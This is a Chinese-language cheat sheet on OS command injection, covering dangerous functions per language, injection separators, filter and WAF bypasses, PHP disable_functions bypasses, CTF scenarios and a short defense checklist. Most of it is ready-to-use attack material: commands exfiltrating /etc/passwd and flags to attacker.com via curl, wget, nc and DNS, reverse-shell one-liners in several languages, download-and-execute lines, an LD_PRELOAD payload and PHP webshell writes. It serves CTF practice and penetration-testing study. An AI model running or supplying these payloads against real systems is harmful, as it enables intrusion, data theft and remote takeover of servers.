梳理命令注入(OS Command Injection)漏洞的成因、各语言危险函数、利用技巧、反弹 Shell、WAF 绕过方法与 disable_functions 绕过。
一、命令注入概述与原理
1.1 定义
命令注入(OS Command Injection)是指攻击者将恶意操作系统命令插入到应用程序调用的命令中,使服务器执行任意系统命令。
用户输入 → 未经净化 → 拼接为 Shell 命令字符串 → OS 执行
1.2 危险代码示例
// PHP 危险写法
$host = $_GET['host'];
system("ping -c 1 " . $host); // 直接拼接
shell_exec("nslookup " . $host); // 直接拼接
// 安全写法(escapeshellarg 转义整个参数)
system("ping -c 1 " . escapeshellarg($host));
// 安全写法(escapeshellcmd 转义命令中的特殊字符)
system(escapeshellcmd("ping -c 1 " . $host));
# Python 危险写法
import os, subprocess
host = request.args.get('host')
os.system(f"ping -c 1 {host}") # 危险
subprocess.call(f"ping -c 1 {host}", shell=True) # 危险
# 安全写法(列表形式,不经过 Shell)
subprocess.call(["ping", "-c", "1", host]) # 安全
1.3 注入点识别
# 基础测试(确认命令注入)
127.0.0.1; id → 显示用户信息
127.0.0.1 && id → 显示用户信息
127.0.0.1 | id → 显示用户信息
127.0.0.1 || id → 显示用户信息
127.0.0.1 `id` → 显示用户信息
127.0.0.1 $(id) → 显示用户信息
# 时间延迟(无回显盲注检测)
127.0.0.1; sleep 5 → 响应延迟 5 秒(Linux)
127.0.0.1 & timeout /T 5 → 响应延迟 5 秒(Windows)
127.0.0.1; ping -c 5 127.0.0.1 → 延迟约 5 秒(Linux)
127.0.0.1 & ping -n 5 127.0.0.1 → 延迟约 5 秒(Windows)
1.4 危害等级
| 危害类型 |
说明 |
危害等级 |
| 任意命令执行 |
以 Web 服务账户权限执行系统命令 |
🔴 严重 |
| 文件读取 |
cat /etc/passwd / 读取敏感配置 |
🔴 严重 |
| 写入 WebShell |
往 Web 目录写入后门文件 |
🔴 严重 |
| 反弹 Shell |
获取交互式 Shell |
🔴 严重 |
| 横向移动 |
内网渗透、SSH 密钥窃取 |
🔴 严重 |
| 权限提升 |
配合 SUID / sudo 提权 |
🔴 严重 |
二、各语言危险函数
2.1 PHP 命令执行函数
| 函数 |
说明 |
是否有回显 |
风险 |
system(string $cmd) |
执行命令并输出,返回最后一行 |
✅ 有 |
🔴 严重 |
exec(string $cmd) |
执行命令,仅返回最后一行(不自动输出) |
❌ 无(需 echo) |
🔴 严重 |
passthru(string $cmd) |
执行命令,直接输出二进制结果 |
✅ 有 |
🔴 严重 |
shell_exec(string $cmd) |
执行命令,返回完整输出字符串 |
❌ 无(需 echo) |
🔴 严重 |
`$cmd` |
反引号,等价于 shell_exec |
❌ 无 |
🔴 严重 |
popen(string $cmd, string $mode) |
打开进程管道 |
❌ 手动读 |
🔴 严重 |
proc_open(string $cmd, array $desc, &$pipes) |
更灵活的进程管道 |
❌ 手动读 |
🔴 严重 |
pcntl_exec(string $path, array $args) |
执行程序(替换当前进程) |
❌ 无 |
🔴 严重 |
mail(to, subject, msg, headers) |
调用 sendmail,headers 可注入命令 |
❌ 无 |
🟡 高 |
putenv('LD_PRELOAD=...') + mail() |
加载恶意 .so 文件 |
❌ 无 |
🔴 严重 |
2.2 Python 命令执行函数
| 函数/方法 |
说明 |
风险 |
os.system(cmd) |
执行命令,返回退出码 |
🔴 严重 |
os.popen(cmd) |
打开管道读取输出 |
🔴 严重 |
subprocess.call(cmd, shell=True) |
shell=True 时危险 |
🔴 严重 |
subprocess.Popen(cmd, shell=True) |
shell=True 时危险 |
🔴 严重 |
subprocess.check_output(cmd, shell=True) |
shell=True 时危险 |
🔴 严重 |
subprocess.run(cmd, shell=True) |
shell=True 时危险 |
🔴 严重 |
commands.getoutput(cmd) |
Python 2,执行并返回输出 |
🔴 严重 |
platform.popen(cmd) |
打开管道 |
🔴 严重 |
2.3 Node.js 命令执行函数
| 函数/方法 |
说明 |
风险 |
child_process.exec(cmd, cb) |
通过 Shell 执行命令 |
🔴 严重 |
child_process.execSync(cmd) |
同步执行 |
🔴 严重 |
child_process.spawn(cmd, args) |
不通过 Shell(args 分离则安全) |
🟡 中 |
child_process.spawnSync(cmd) |
同步 spawn |
🟡 中 |
child_process.execFile(file) |
执行文件 |
🟡 中 |
child_process.fork(module) |
创建子进程运行 Node 模块 |
🟡 中 |
2.4 Java 命令执行方法
// 危险用法(将用户输入传入 Runtime/ProcessBuilder)
Runtime.getRuntime().exec(userInput);
new ProcessBuilder(userInput.split(" ")).start();
// 安全用法(参数分离,不经过 Shell 解析)
String[] cmd = {"ping", "-c", "1", host}; // host 不经 Shell 解析
Runtime.getRuntime().exec(cmd);
2.5 其他语言
# Ruby
`user_input`
system(user_input)
IO.popen(user_input)
open("|#{user_input}")
exec(user_input)
spawn(user_input)
Process.spawn(user_input)
# Perl
system($user_input);
`$user_input`;
open(FH, "$user_input |");
exec($user_input);
# Go
exec.Command("sh", "-c", userInput) // 危险(shell=true 等价)
exec.Command(userInput) // 危险
# C
system(user_input);
popen(user_input, "r");
三、命令注入利用技巧
3.1 分隔符与连接符
Linux / Unix
# 分号(顺序执行,前一个成功与否都执行后一个)
127.0.0.1; id
127.0.0.1; whoami; id; uname -a
# 逻辑与(前一个成功才执行后一个)
127.0.0.1 && id
# 逻辑或(前一个失败才执行后一个)
127.0.0.1 || id
127.0.0.2_invalid || id # 故意让前面失败
# 管道(前一个输出作为后一个输入)
127.0.0.1 | id
cat /etc/passwd | grep root
# 换行符(某些场景有效)
127.0.0.1%0aid
127.0.0.1%0a%0did
# 后台执行(&)
127.0.0.1 & id
# 命令替换
127.0.0.1 `id`
127.0.0.1 $(id)
$(id)
`id`
Windows 专属
:: 逻辑与
127.0.0.1 & whoami
127.0.0.1 && whoami
:: 逻辑或
127.0.0.1 || whoami
:: 管道
127.0.0.1 | whoami
:: 换行符
127.0.0.1%0awhoami
常用分隔符速查
| 符号 |
含义 |
平台 |
示例 |
; |
顺序执行 |
Linux |
id; whoami |
&& |
前成功再执行 |
Linux / Win |
id && whoami |
|| |
前失败再执行 |
Linux / Win |
xxx || id |
| |
管道 |
Linux / Win |
id | cat |
& |
后台执行 / Win 顺序 |
Linux / Win |
id & whoami |
` ` |
命令替换 |
Linux |
`id` |
$(...) |
命令替换 |
Linux |
$(id) |
%0a |
换行符 |
Linux / Win |
id%0awhoami |
%0d%0a |
CRLF |
Linux / Win |
id%0d%0awhoami |
3.2 无回显外带数据
当命令执行结果无法在页面中看到时,通过带外方式获取结果:
DNS 带外(最通用)
# 使用 Burp Collaborator 或 DNSlog.cn 接收
host=$(whoami); nslookup $host.your-collaborator-id.burpcollaborator.net
host=$(cat /etc/passwd | base64 | tr -d '\n' | cut -c1-60); nslookup $host.your-domain.com
# dig 命令
dig `whoami`.attacker.com
# curl DNS 解析
curl http://$(whoami).attacker.com
# ping 带外
ping -c 1 $(whoami).attacker.com
# 使用 DNSlog(国内常用)
curl http://`id`.xxx.dnslog.cn
wget "http://$(cat /flag | base64).xxx.dnslog.cn"
HTTP 外带
# curl 外带(URL 参数携带数据)
curl "http://attacker.com/?data=$(id | base64)"
curl "http://attacker.com/?cmd=$(cat /flag | base64 -w0)"
# wget 外带
wget "http://attacker.com/?data=$(whoami)" -O /dev/null
# curl 外带(POST 方式)
curl -X POST http://attacker.com/ -d "data=$(cat /etc/passwd | base64)"
# nc 外带
nc attacker.com 4444 < /etc/passwd
cat /etc/passwd | nc attacker.com 4444
写文件(间接回显)
# 将结果写入 Web 目录
id > /var/www/html/output.txt
cat /etc/passwd > /var/www/html/passwd.txt
# 然后通过 HTTP 访问
# 写入临时文件后读取
id > /tmp/out && curl http://attacker.com/?data=$(cat /tmp/out | base64)
搭建监听服务
# 攻击者 VPS 开启监听
# HTTP 服务(接收 GET/POST 数据)
python3 -m http.server 8888
# 访问日志中可看到请求参数
# NC 监听(接收原始数据)
nc -lvnp 4444
# Burp Collaborator(推荐)
# 自动捕获 HTTP / DNS / SMTP 带外请求
# interactsh(开源 Collaborator 替代)
./interactsh-client # 获取唯一域名后监控所有交互
3.3 反弹 Shell
获得交互式 Shell,进行深度利用:
Bash 反弹
# 监听端(attacker.com)
nc -lvnp 4444
# 目标执行(多种写法)
bash -i >& /dev/tcp/attacker.com/4444 0>&1
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
0<&196;exec 196<>/dev/tcp/attacker.com/4444; sh <&196 >&196 2>&196
# URL 编码(HTTP 参数中)
bash+-c+'bash+-i+>%26+/dev/tcp/attacker.com/4444+0>%261'
# Base64 编码(绕过空格/特殊字符过滤)
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx" | base64 -d | bash
Python 反弹
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
Perl 反弹
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
PHP 反弹
php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("attacker.com",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
Netcat 反弹
# 传统 nc(有 -e 参数)
nc attacker.com 4444 -e /bin/bash
nc attacker.com 4444 -e /bin/sh
# 无 -e 参数的 nc(使用 mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker.com 4444 > /tmp/f
# ncat(Nmap 版本)
ncat attacker.com 4444 -e /bin/bash
Java 反弹
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
MSFvenom 生成反弹 Shell
# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f elf > shell.elf
# 下载并执行
curl http://attacker.com/shell.elf -o /tmp/shell && chmod +x /tmp/shell && /tmp/shell
wget http://attacker.com/shell.elf -O /tmp/s && chmod +x /tmp/s && /tmp/s
反弹 Shell 升级(获得完整 TTY)
# 目标机器上执行(升级为完整交互 Shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 然后在 nc 会话中:
Ctrl+Z # 挂起 nc
stty raw -echo; fg # 重置终端并恢复 nc
# 回车后输入:
export TERM=xterm
stty rows 50 columns 200 # 设置终端大小
3.4 命令替换技巧
# 命令替换(结果替换到命令行)
echo $(id)
echo `id`
cat $(find / -name flag.txt 2>/dev/null | head -1)
# 进程替换
diff <(cat /etc/passwd) <(cat /etc/shadow)
# Here string
cat <<< $(id)
# 多命令串联读取文件
cat /etc/p*sswd # 通配符
cat /etc/pa??wd # 单字符通配符
head /etc/passwd # 读取前几行
tail /etc/passwd # 读取后几行
less /etc/passwd # 分页读取
# 特殊路径读取
cat /proc/self/environ # 环境变量(含密钥/密码)
cat /proc/self/cmdline # 当前进程命令行
cat /proc/net/tcp # 开放端口(十六进制)
ls /proc/*/cmdline 2>/dev/null | head -20 # 所有进程
# 利用 tee 读写
id | tee /var/www/html/out.txt
cat /etc/passwd | tee /var/www/html/passwd.txt
四、命令注入 WAF 绕过
4.1 空格绕过
# Linux 中可替代空格的字符
$IFS # 内部字段分隔符(默认含空格/Tab/换行)
${IFS} # 大括号明确范围
$IFS$9 # 后跟数字防止解析歧义
%09 # Tab(URL 编码)
%0a # 换行(URL 编码)
{cat,/etc/passwd} # 大括号展开(Bash)
cat</etc/passwd # 重定向(无空格)
cat<>/etc/passwd # 读写重定向
X=$'\x20'; cat${X}/etc/passwd # ANSI C 字符串
X=$'\t'; cat${X}/etc/passwd # Tab
# 完整示例
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat${IFS}${IFS}/etc/passwd # 双 IFS
{cat,/etc/passwd} # Bash 大括号
4.2 关键字绕过
反斜杠截断
# 反斜杠在 Shell 中为转义字符,可截断关键字
w\hoami
wh\oami
who\ami
w\h\o\a\m\i # 多个反斜杠
ca\t /etc/pa\sswd
c\at /etc/p\asswd
引号截断
# 引号不影响命令执行,可截断关键字
who''ami # 单引号截断
who""ami # 双引号截断
wh''o''a''m''i # 多处截断
c'a't /etc/pass'w'd # 混合
# 结合变量
a=wh; b=oami; $a$b # 变量拼接
a='who';b='ami'; $a$b
大括号展开(Bash 特性)
{cat,/etc/passwd}
{ls,-la,/}
{wget,http://attacker.com/shell.sh,-O,/tmp/s}
变量拼接
# 分割命令关键字为变量
a=cat;b=/etc/passwd;$a $b
a=sy;b=stem;${a}${b}('id') # PHP 上下文
# 使用环境变量中的字符
echo ${PATH:0:1} # 提取 PATH 第一个字符(通常为 /)
echo ${PATH:5:1} # 提取特定位置字符
# 利用 HOME、USER 等变量
echo $HOME # /root 或 /home/user
ls ${HOME}
通配符替代字符
# ? 匹配单个字符
/???/??t /???/p????d # /bin/cat /etc/passwd
/?in/cat /e??/p??s?d
/usr/bin/wh?ami
# * 匹配多个字符
/bin/ca* /etc/pass*
cat /etc/pass* # 匹配 passwd, password 等
ls /home/*/.ssh/id_rsa
# 字符类
/[b]in/cat
/bin/[c]at
cat /[e]tc/passwd
Base64 / Hex 解码执行
# Base64
echo "aWQ=" | base64 -d | bash # id
echo "d2hvYW1p" | base64 -d | bash # whoami
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # cat /etc/passwd
# Hex(xxd)
echo "696420" | xxd -r -p | bash
printf '\x77\x68\x6f\x61\x6d\x69' | bash # whoami
# 利用 eval 解码
eval $(echo "d2hvYW1p" | base64 -d)
4.3 编码与转义绕过
# URL 编码(在 HTTP 参数中)
%73%79%73%74%65%6d # system
%77%68%6f%61%6d%69 # whoami
127.0.0.1%3bid # ; 的 URL 编码
127.0.0.1%0aid # 换行符
# 双重 URL 编码
127.0.0.1%253bid # %3b 再编码 → %253b
# ANSI C 字符串($'...')
$'\x77\x68\x6f\x61\x6d\x69' # whoami
$'\167\150\157\141\155\151' # whoami(八进制)
bash -c $'\x77\x68\x6f\x61\x6d\x69'
# 八进制
$(printf "\167\150\157\141\155\151") # whoami
# Windows 特有绕过
# 大小写绕过
WHOAMI
WhoAmI
# 环境变量截断
%COMSPEC% /c whoami # %COMSPEC% = cmd.exe
# ^ 转义符截断
wh^oam^i
who^ami
# PowerShell Base64 执行
powershell -EncodedCommand [Base64 of command]
# 编码:[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("whoami"))
4.4 长度限制绕过
当命令长度受限(如 WAF 限制参数长度,或代码中限制了输入长度):
# 方法1:将命令分段写入文件后执行
# 命令:curl http://attacker.com/shell.sh | bash
# 分段写入(每次写 4-5 个字符)
>curl # 创建文件名
>$'\x20'htt # 空格 + htt
>p://a # 继续
>tt.co
>m/she
>ll.sh
ls -t | head -6 | tr -d '\n' | bash # 按时间顺序读文件名拼接命令
# 方法2:利用全局变量
export CMD=whoami; $CMD
# 方法3:<<< heredoc
bash<<<id
bash<<<$(echo id)
# 方法4:利用文件名执行
# 创建文件名为命令的文件
touch 'id'
chmod +x id
./id
# 或
* # 执行当前目录第一个文件
4.5 黑名单绕过合集
过滤了 cat
tac /etc/passwd # 反向输出(cat 的反向)
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
nl /etc/passwd # 带行号输出
od -c /etc/passwd # 八进制转储
hexdump -C /etc/passwd # 十六进制转储
xxd /etc/passwd
strings /etc/passwd
grep . /etc/passwd # 匹配所有行
awk '{print}' /etc/passwd
sed '' /etc/passwd
dd if=/etc/passwd # dd 读取
cp /etc/passwd /var/www/html/p.txt # 复制到可访问位置
while read l; do echo $l; done</etc/passwd # while 读取
python3 -c "print(open('/etc/passwd').read())"
过滤了 /
# 利用环境变量中的 /
${PATH:0:1} # 提取 PATH 第一个字符 /
${HOME:0:1} # 若 HOME 以 / 开头
echo ${PATH:0:1}etc${PATH:0:1}passwd # /etc/passwd
# 利用 $() 命令替换
$(printf "\57") # \57 = /
$(echo -e "\x2f") # \x2f = /
# 利用 ANSI C
$'\57'etc$'\57'passwd
$'\x2f'etc$'\x2f'passwd
# 通配符(某些情况)
cat /???/passwd # 匹配 /etc/passwd
过滤了特殊字符(; | & ` $)
# 换行符绕过(%0a)
127.0.0.1%0aid
# 重定向替代管道
id > /tmp/o; cat /tmp/o
# 利用 alias
alias x='id'; x
# 利用 source
echo 'id' > /tmp/x; source /tmp/x
echo 'id' > /tmp/x; . /tmp/x # . 等价于 source
过滤了数字
# 用 $? 等特殊变量获取数字
echo $? # 0(上一条命令退出码)
# 用算术展开
echo $((1+1))
# 用十六进制
printf '\x31' # 1
过滤了黑名单关键字(通用技巧汇总)
# 1. 变量截断
v="cmd";${v:0:1}${v:1:1}${v:2:1} # c-m-d
# 2. 利用 read
read x <<< "id"; $x
# 3. 利用重定向和替换
<<<"id" bash
# 4. 利用 xargs
echo id | xargs bash -c
# 5. 利用 env
env id
# 6. 利用 timeout / nice / nohup
timeout 10 id
nice id
nohup id
# 7. 利用 strace
strace id 2>&1
WAF 绕过速查表
| 过滤目标 |
绕过方法 |
示例 |
| 空格 |
$IFS |
cat${IFS}/etc/passwd |
| 空格 |
重定向 |
cat</etc/passwd |
| 空格 |
大括号展开 |
{cat,/etc/passwd} |
cat 命令 |
替代命令 |
tac / head / awk |
/ 字符 |
环境变量 |
${PATH:0:1} |
| 关键字 |
反斜杠截断 |
c\at |
| 关键字 |
引号截断 |
c''at |
| 关键字 |
变量拼接 |
a=c;b=at;$a$b |
| 关键字 |
Base64 解码 |
echo "aWQ="|base64 -d|bash |
| `; |
|&` |
换行符 |
| 数字 |
算术展开 |
$((1+1)) |
| 长度限制 |
分段写文件 |
ls -t | tr -d '\n'|bash |
五、特殊场景注入
5.1 无字母/数字命令注入
# 仅使用特殊字符执行命令
# 利用 sh 的特性和文件系统
# 1. 利用文件名
ls /usr/bin/?s # 找到 ls, ps 等
/usr/bin/w # 查看当前用户
# 2. 利用环境变量字符构造命令
# $PATH 通常为 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PATH:14:1}${PATH:6:1} # 提取字符构造命令
# 3. 利用 * 展开执行当前目录文件
* # 执行第一个匹配文件
# 4. 利用 $(( )) 算术展开
$((1)) # 返回 1,可构造数字参数
5.2 Windows 命令注入
# Windows 命令分隔符
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
127.0.0.1 || whoami
# 执行 PowerShell
127.0.0.1 & powershell -Command "whoami"
127.0.0.1 & powershell -EncodedCommand dwBoAG8AYQBtAGkA # Base64: whoami
# 绕过空格(使用逗号)
cmd,/c,whoami
# 大小写绕过
WHOAMI
WhoAmI
# 使用环境变量
%COMSPEC% /c whoami
%SystemRoot%\system32\cmd.exe /c whoami
# PowerShell Base64 编码命令
powershell -EncodedCommand [Base64 of command]
# 生成:[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("whoami"))
六、Bypass disable_functions
当 PHP 的 disable_functions 禁用了常见命令执行函数时的绕过方法:
6.1 检查被禁函数
// 查看被禁用的函数
echo ini_get('disable_functions');
print_r(explode(',', ini_get('disable_functions')));
6.2 LD_PRELOAD 绕过
# 原理:通过 putenv 设置 LD_PRELOAD,加载恶意 .so
# 触发:调用 mail() 等会执行外部程序的函数
# 1. 编写恶意 C 代码(evil.c)
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__((constructor)) void preload() {
unsetenv("LD_PRELOAD");
system("id > /tmp/pwned");
}
# 编译为 .so
gcc -shared -fPIC evil.c -o evil.so
// 2. PHP 中触发
putenv("LD_PRELOAD=/var/www/html/uploads/evil.so");
mail("", "", "", ""); // 触发 sendmail,加载 evil.so
// 或 error_log("test", 1, "a@b.com", "");
6.3 FFI 扩展(PHP 7.4+)
// 若 FFI 扩展启用
$ffi = FFI::cdef("int system(const char *command);", "libc.so.6");
$ffi->system("id > /tmp/pwned");
// 读取文件
$ffi = FFI::cdef("
typedef int FILE;
FILE* fopen(const char* path, const char* mode);
char* fgets(char* s, int size, FILE* stream);
int fclose(FILE* stream);
", "libc.so.6");
$f = $ffi->fopen("/etc/passwd", "r");
$buf = FFI::new("char[4096]");
$ffi->fgets($buf, 4096, $f);
echo FFI::string($buf);
6.4 pcntl_exec(替代 exec 类函数)
// pcntl_exec 替换当前进程执行命令
pcntl_exec("/bin/bash", ["-c", "id > /tmp/pwned"]);
// 注意:此函数会替换当前进程,PHP 脚本后续代码不执行
6.5 imap_open(CVE-2018-19518)
// imap 扩展的 IMAP 路径中注入命令
// 需要 PHP < 5.6.38 / < 7.0.32 / < 7.1.22 / < 7.2.10
imap_open(
'{127.0.0.1:143/imap}INBOX',
'x -oProxyCommand=id>/tmp/pwned',
''
);
6.6 利用 ImageMagick
# 若网站使用 ImageMagick 处理上传图片
# 创建恶意图片(exploit.mvg 文件内容)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/"|id > /tmp/pwned")'
pop graphic-context
6.7 其他绕过方式
// 利用 Imagick 类(PHP 扩展)
$im = new Imagick();
$im->readImage("vid:msl:/tmp/pwn.txt");
// 利用 COM 对象(Windows PHP)
$shell = new COM("WScript.Shell");
$shell->run("cmd /c id > C:\\output.txt", 0, true);
// PHP 原生类利用(仅读文件,非命令执行)
// SplFileObject 读文件
$o = new SplFileObject('/etc/passwd');
echo $o->fread($o->getSize());
// DirectoryIterator 列目录
foreach (new DirectoryIterator('/') as $f) { echo $f->getFilename()."\n"; }
6.8 disable_functions 绕过速查
| 方法 |
条件 |
危害 |
| LD_PRELOAD + mail() |
可上传 .so,mail 未禁 |
RCE |
| FFI 扩展 |
PHP 7.4+,FFI 启用 |
RCE |
| pcntl_exec |
pcntl 扩展启用 |
RCE |
| imap_open |
PHP <7.2.10,imap 扩展 |
RCE(CVE-2018-19518) |
| ImageMagick |
ImageMagick 已安装 |
RCE |
| Apache mod_cgi |
Apache + AllowOverride All |
RCE |
| COM 对象 |
Windows + PHP |
RCE |
七、CTF 实战思路
7.1 命令注入快速判断
发现可能的注入点 →
├── 添加 ; id → 有回显 → 直接注入
├── 添加 && sleep 5 → 延迟 → 无回显盲注
│ └── 外带:curl/dns/wget 带出数据
├── 无法注入 → 尝试不同分隔符 (|, ||, &, &&, \n)
└── 有过滤 → WAF 绕过(空格/关键字/编码)
7.2 常见 CTF 命令注入场景
// 场景1:ping 功能
system("ping -c 1 " . $_GET['ip']);
// 绕过:?ip=127.0.0.1;id
// 场景2:nmap 扫描
shell_exec("nmap " . $_POST['host']);
// 绕过:host=127.0.0.1;cat /flag
// 场景3:文件名注入
system("file uploads/" . $_GET['filename']);
// 绕过:?filename=x;id 或 ?filename=../../../etc/passwd
// 场景4:模板生成
shell_exec("convert " . $input . " output.pdf");
// 绕过:input=x;cat /flag>output.txt
// 场景5:Git 操作
exec("git clone " . $url);
// 绕过:url=x;id
7.3 特殊情况处理
# 情况1:只允许字母数字
env # 查看环境变量
printenv # 打印环境变量
# 情况2:不允许斜杠(/ 被过滤)
${PATH:0:1}etc${PATH:0:1}passwd # 使用环境变量字符
$'\57'etc$'\57'passwd # ANSI C 字符串
# 情况3:过滤了空格和 IFS
{cat,/etc/passwd}
cat</etc/passwd
cat${IFS}/etc/passwd
# 情况4:回显有长度限制(只显示部分)
# 分段读取
cat /flag | cut -c1-20
cat /flag | cut -c21-40
cat /flag | head -c 20
cat /flag | tail -c +21 | head -c 20
# 或写到文件
cat /flag > /var/www/html/f && cat /var/www/html/f
八、防御措施
8.1 正确的命令调用方式
// 1. 优先使用不调用 Shell 的 API
// 危险(通过 Shell)
system("ping -c 1 " . $host);
// 安全(直接调用)
$host = filter_var($_GET['host'], FILTER_VALIDATE_IP);
if (!$host) die("Invalid IP");
// 使用 proc_open 分离参数
$proc = proc_open(
['ping', '-c', '1', $host], // 数组形式,不经 Shell
$desc, $pipes
);
// 2. 使用 escapeshellarg() 转义参数
system("ping -c 1 " . escapeshellarg($host));
// 注意:escapeshellarg 会在参数两端加引号并转义内部引号
// 3. 白名单验证输入
$allowed_hosts = ['google.com', 'baidu.com', 'github.com'];
if (!in_array($host, $allowed_hosts)) {
die('Host not allowed');
}
// 4. 正则白名单(只允许 IP 格式)
if (!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)) {
die('Invalid IP format');
}
# Python 安全调用命令
# 危险(shell=True + 字符串拼接)
subprocess.call(f"ping -c 1 {host}", shell=True)
# 安全(列表参数 + shell=False)
subprocess.call(["ping", "-c", "1", host], shell=False)
# 安全(shlex.quote 转义)
import shlex
cmd = f"ping -c 1 {shlex.quote(host)}"
subprocess.call(cmd, shell=True) # 仍建议用列表形式
8.2 防御检查清单
✅ 系统命令调用使用参数化形式(列表/数组),不拼接字符串
✅ 必须拼接时使用 escapeshellarg() 对每个参数单独转义
✅ 对用户输入进行类型验证(IP、数字、枚举等)
✅ 使用白名单限制可用值,不使用黑名单
✅ 最小权限原则:Web 进程不应以 root 运行
✅ 部署 WAF 过滤命令注入特征字符(;, |, &, `, $()等)
✅ 禁用 PHP 危险函数(disable_functions)
✅ 记录所有系统调用日志,设置异常告警
✅ 定期更新依赖库,修补已知 RCE 漏洞
✅ 容器化部署隔离,限制容器出站网络请求
附录
A. Fuzz 字典(基础)
;id
|id
||id
&&id
`id`
$(id)
;id;
|id|
; id
| id
& id
&& id
\nid
%0aid
%0a id
%0d%0aid
%09id
${IFS}id
$IFS$9id
;{id}
|(id)
B. 常用信息收集命令速查
# 基本信息
id && whoami && hostname && uname -a
cat /etc/passwd
cat /etc/os-release
env
cat /proc/self/environ
# 文件系统
ls -la /
ls -la /home
find / -name "flag*" 2>/dev/null
find / -name "*.conf" 2>/dev/null # 配置文件
# 权限相关
find / -perm -4000 2>/dev/null # SUID 文件(提权)
sudo -l # 可 sudo 的命令
cat /etc/crontab # 定时任务
ls -la /etc/cron*
# 网络
netstat -tuln 2>/dev/null || ss -tuln # 开放端口
cat /proc/net/tcp # 内网连接信息
# 写 WebShell
echo '<?php @eval($_POST[cmd]);?>' > /var/www/html/shell.php
printf '<?php system($_GET["cmd"]);?>' > /var/www/html/shell.php
C. 反弹 Shell 速查
| 方式 |
命令(替换 ATTACKER 和 PORT) |
| Bash |
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 |
| Python3 |
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' |
| PHP |
php -r '$s=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' |
| Perl |
perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(PORT,inet_aton("ATTACKER")));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");' |
| NC(有-e) |
nc ATTACKER PORT -e /bin/bash |
| NC(无-e) |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT>/tmp/f |
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行攻击属于违法行为,请在合法合规的环境中学习与实践。